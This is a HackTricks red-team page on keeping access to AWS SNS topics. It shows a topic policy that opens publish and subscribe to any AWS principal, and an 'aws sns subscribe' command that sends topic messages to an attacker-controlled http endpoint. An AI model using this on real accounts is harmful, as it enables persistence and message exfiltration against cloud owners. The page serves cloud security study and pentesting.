Skip to content

Latest commit

 

History

History
105 lines (85 loc) · 4.15 KB

aws-sns-persistence.md

File metadata and controls

105 lines (85 loc) · 4.15 KB

AWS - SNS Persistence

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

SNS

For more information check:

{% content-ref url="../aws-services/aws-sns-enum.md" %} aws-sns-enum.md {% endcontent-ref %}

Persistence

When creating a SNS topic you need to indicate with an IAM policy who has access to read and write. It's possible to indicate external accounts, ARN of roles, or even "*".
The following policy gives everyone in AWS access to read and write in the SNS topic called MySNS.fifo:

{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}

Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could create subscribers for all the topics.

Note that if the topic is of type FIFO, only subscribers using the protocol SQS can be used.

aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: